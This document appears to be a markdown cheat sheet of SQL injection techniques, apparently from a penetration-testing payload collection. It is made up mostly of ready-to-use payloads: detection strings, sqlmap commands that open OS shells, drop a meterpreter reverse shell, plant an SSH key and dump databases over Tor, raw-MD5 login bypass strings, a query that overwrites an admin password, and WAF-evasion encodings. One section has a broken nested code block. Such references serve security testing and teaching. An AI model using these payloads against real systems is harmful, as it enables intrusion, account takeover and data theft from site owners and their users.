# SQL injection

> A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.

Attempting to manipulate SQL queries may have goals including:
- Information Leakage
- Disclosure of stored data
- Manipulation of stored data
- Bypassing authorisation controls

## Entry point detection

Detection of an SQL injection entry point
Simple characters

```sql
'
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
'  # required for XML content
```

Multiple encoding

```sql
%%2727
%25%27
```

Merging characters

```sql
`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP
```

Logic Testing

```sql
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
```

Weird characters

```sql
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
```

## DBMS Identification

## SQL injection using SQLmap

### Basic arguments for SQLmap

```powershell
sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
```

### Load a request file and use mobile user-agent

```powershell
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1
```

### Custom injection in UserAgent/Header/Referer/Cookie

```powershell
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass"  --headers="x-forwarded-for:127.0.0.1*"
The injection is located at the '*'
```

### Second order injection

```powershell
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```

### Shell

```powershell
SQL Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --sql-shell

Simple Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-shell

Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-pwn

SSH Shell by dropping an SSH key
python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
```

### Crawl a website with SQLmap and auto-exploit

```powershell
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```

### Using TOR with SQLmap

```powershell
sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5
```

### Using a proxy with SQLmap

```powershell
sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
```

### Using Chrome cookie and a Proxy

```powershell
sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080"  -f  --time-sec 15 --level 3
```

### Using suffix to tamper the injection

```powershell
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "
```


### General tamper option and tamper's list

```powershell
tamper=name_of_the_tamper

### SQLmap without SQL injection

You can use SQLmap to access a database via its port instead of a URL.

```ps1
sqlmap.py -d "mysql://user:pass@ip/database" --dump-all 
```

```

## Authentication Bypass (Raw MD5 SHA1)

When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.

```php
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```

Allowing an attacker to craft a string with a `true` statement such as `' or 'SOMETHING`

```php
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
```

Challenge demo available at [http://web.jarvisoj.com:32772](http://web.jarvisoj.com:32772)

## Polyglot injection (multicontext)

```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

/* MySQL only */
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
```

## Routed injection

```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```

## Insert Statement - ON DUPLICATE KEY UPDATE

ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:

```sql
Inject using payload:
  attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --

The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");

This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".

After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
```

## WAF Bypass

### White spaces alternatives

No Space (%20) - bypass using whitespace alternatives

```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```

No Whitespace - bypass using comments

```sql
?id=1/*comment*/and/**/1=1/**/--
```

No Whitespace - bypass using parenthesis

```sql
?id=(1)and(1)=(1)--
```

Whitespace alternatives by DBMS
| DBMS | ASCII characters in hexadicimal |
| ---- | ------------------------------- |
| SQLite3 | 0A, 0D, 0C, 09, 20 |
| MySQL	5 | 09, 0A, 0B, 0C, 0D, A0, 20 |
| MySQL	3	| 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 |
| PostgreSQL | 0A, 0D, 0C, 09, 20 |
| Oracle 11g | 00, 0A, 0D, 0C, 09, 20 |
| MSSQL | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20 |

Example of query where spaces were replaced by ascii characters above 0x80
```
♀SELECT§*⌂FROM☺users♫WHERE♂1☼=¶1‼
```
 
### No Comma
 
Bypass using OFFSET, FROM and JOIN

```sql
LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```

### No Equal

Bypass using LIKE/NOT IN/IN/BETWEEN

```sql
?id=1 and substring(version(),1,1)like(5)
?id=1 and substring(version(),1,1)not in(4,3)
?id=1 and substring(version(),1,1)in(4,3)
?id=1 and substring(version(),1,1) between 3 and 4
```

### Case modification
 
Bypass using uppercase/lowercase (see keyword AND)

```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```

Bypass using keywords case insensitive / Bypass using an equivalent operator

```sql
AND   -> &&
OR    -> ||
=     -> LIKE,REGEXP, BETWEEN, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING
```

#### WAF bypass for MySQL using scientific notation

Blocked
```sql
' or ''='
```
Working
```sql
' or 1.e('')='
```
Obfuscated query
```sql
1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2
```
